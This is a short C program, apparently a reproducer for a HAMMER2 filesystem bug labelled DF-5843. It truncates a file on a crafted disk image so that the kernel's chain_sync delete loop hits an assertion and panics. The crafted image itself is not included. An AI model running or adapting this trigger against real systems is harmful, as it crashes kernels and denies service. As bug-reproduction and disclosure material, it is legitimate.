/*
 * DF-5843 trigger: open the crafted-image file and truncate it so the
 * hammer2_xop_inode_chain_sync backend delete loop encounters the planted
 * INODE-typed child chain at key 0x10000 and hits KKASSERT(0).
 *
 * sys/vfs/hammer2/hammer2_xops.c:1579-1583
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

int
main(int ac, char **av)
{
	int fd;
	off_t nsize;

	if (ac != 3) {
		fprintf(stderr, "usage: trig <path> <newsize>\n");
		return 2;
	}
	nsize = (off_t)strtoll(av[2], NULL, 0);

	fd = open(av[1], O_RDWR);
	if (fd < 0) {
		perror("open");
		return 1;
	}
	printf("open ok fd=%d, ftruncate -> %jd\n", fd, (intmax_t)nsize);
	fflush(stdout);
	if (ftruncate(fd, nsize) != 0) {
		perror("ftruncate");
		close(fd);
		return 1;
	}
	printf("ftruncate ok, closing (vop_close -> chain_sync xop)\n");
	fflush(stdout);
	close(fd);
	sync();
	printf("SURVIVED: no panic (chain_sync did not hit KKASSERT)\n");
	return 0;
}
